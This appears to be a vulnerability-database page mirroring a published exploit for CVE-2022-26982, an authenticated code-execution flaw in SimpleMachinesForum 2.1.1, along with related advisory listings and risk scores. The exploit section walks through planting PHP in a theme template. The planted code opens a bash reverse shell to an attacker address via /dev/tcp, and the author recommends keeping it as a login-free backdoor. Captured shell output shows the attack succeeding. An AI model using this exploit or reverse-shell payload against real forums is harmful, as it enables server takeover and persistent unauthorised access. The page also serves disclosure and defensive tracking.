Lucene search
K

SimpleMachinesForum 2.1.1 Remote Code Execution

🗓️ 27 Mar 2023 00:00:00Reported by Sarang TumneType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 195 Views

SimpleMachinesForum 2.1.1 Authenticated Remote Code Execution with backdoor potentia

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution Vulnerability
27 Mar 202300:00
zdt
ATTACKERKB
CVE-2022-26982
5 Apr 202215:15
attackerkb
Circl
CVE-2022-26982
5 Apr 202218:27
circl
CNNVD
SimpleMachinesForum 代码注入漏洞
5 Apr 202200:00
cnnvd
CVE
CVE-2022-26982
5 Apr 202200:00
cve
Cvelist
CVE-2022-26982
5 Apr 202200:00
cvelist
Exploit DB
SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution
25 Mar 202300:00
exploitdb
NVD
CVE-2022-26982
5 Apr 202215:15
nvd
Prion
Code injection
5 Apr 202215:15
prion
Positive Technologies
PT-2022-18161 · Unknown · Simple Machines Forum
5 Apr 202200:00
ptsecurity
Rows per page
`# Exploit Title: SimpleMachinesForum v2.1.1 - Authenticated Remote Code Execution   
# Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)  
# Date: 7th March 2022  
# CVE ID: CVE-2022-26982  
# Confirmed on release 2.1.1  
# Vendor: https://download.simplemachines.org/  
# Note- Once we insert the vulnerable php code, we can even execute it without any valid login as it is not required! We can use it as a backdoor!  
  
###############################################  
#Step1- Login with Admin Credentials  
#Step2- Goto Admin=>Main=>Administration Center=>Configuration=>Themes and Layout=>Modify Themes=>Browse the templates and files in this theme.=>Admin.template.php  
#Step3- Now add the vulnerable php reverse tcp web shell exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.1/4477 0>&1'"); ?>  
#Step4- Now Goto Add Media=>Add Resource=> Upload php web shell and click on SAVE CHANGES at the bottom of the page  
#Step5- Now click on "Themes and Layout" and you will get the reverse shell:  
E.g: Visit http://IP_ADDR/index.php?action=admin;area=theme;b4c2510f=bc6cde24d794569356b81afc98ede2c2 and get the reverse shell:  
  
listening on [any] 4477 ...  
connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 41276  
bash: cannot set terminal process group (1334): Inappropriate ioctl for device  
bash: no job control in this shell  
daemon@debian:/opt/bitnami/simplemachinesforum$ whoami  
whoami  
daemon  
daemon@debian:/opt/bitnami/simplemachinesforum$ id  
id  
uid=1(daemon) gid=1(daemon) groups=1(daemon)  
daemon@debian:/opt/bitnami/simplemachinesforum$  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Mar 2023 00:00Current
7High risk
Vulners AI Score7
CVSS 26.5
CVSS 3.17.2
EPSS0.10493
195